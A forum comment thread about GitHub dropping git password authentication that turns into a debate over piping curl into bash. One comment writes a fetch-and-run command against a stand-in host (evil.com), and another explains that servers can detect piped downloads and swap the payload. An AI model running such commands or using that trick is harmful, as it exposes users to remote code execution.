News for hackers. Stuff that matters.
Re:Git password authentication is shutting down by mynameisvlad on Thursday August 12, 2021 @05:34PM (#28161804)
Re:Git password authentication is shutting down by AlexandrB on Thursday August 12, 2021 @05:44PM (#28161935)
Let's look at the tutorial for caching git credentials, which is referenced in your first link: (https://docs.github.com/en/get-started/getting-started-with-...).

It walks you through installing a "cask" using "brew". It doesn't mention how to install homebrew but instead directs you to the homebrew homepage which shows the output of a curl command being fed to `bash -c`. Something that's both bad practice and unintelligible unless you're quite familiar with Unix shells. If everything works as intended, you're good to go! But if anything goes wrong, or you have to update the "cask" in the future you're left with little to no context about what you just did.

For someone unfamiliar with Unix shell commands, homebrew, curl, etc. this is a quagmire that can take days to unravel without someone there to help them.

Re:Git password authentication is shutting down by geofft on Thursday August 12, 2021 @06:55PM (#28162688)
Piping the output of curl to bash is not "bad practice" any more that downloading an application from your browser and clicking on it or downloading a distro CD/USB image and booting it up "bad practice."

You have to trust the place where you're downloading it from, of course. But there's nothing inherently worse about /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/inst...)" than burning https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/de... and booting it up.

Re:Git password authentication is shutting down by bombela on Friday August 13, 2021 @01:00AM (#28165628)
Why the downvotes on the parent? It's literally the same thing: running random code from the internet on your computer!
Re:Git password authentication is shutting down by sethammons on Thursday August 12, 2021 @10:25PM (#28164625)
You can actually detect from the server side if curl is being piped and dynamically change the payload.
Re:Git password authentication is shutting down by geofft on Thursday August 12, 2021 @11:53PM (#28165234)
Yes! I'm not sure how that changes what I'm saying. If you don't trust the server, it can give you a malicious ISO, too.

Or are you saying that you audit the bits of the ISO yourself before burning it?

Re:Git password authentication is shutting down by throwaway2037 on Friday August 13, 2021 @03:07AM (#28166306)
Woah. How? Assume scrubber request headers.
Re:Git password authentication is shutting down by namibj on Friday August 13, 2021 @05:49AM (#28167142)
latency/buffer size/stalling effects. It's the difference between `curl evil.com/installer.sh | sh` and `curl evil.com/installer.sh | cat > installer.sh`.
Re:Git password authentication is shutting down by hiimshort on Thursday August 12, 2021 @05:42PM (#28161906)
We're taking a 1:1 approach, but most of the time I take issue with the language used in many guides. The linked guides are good examples, they contain a whole load of terms and buzzwords you don't need to know as a beginner.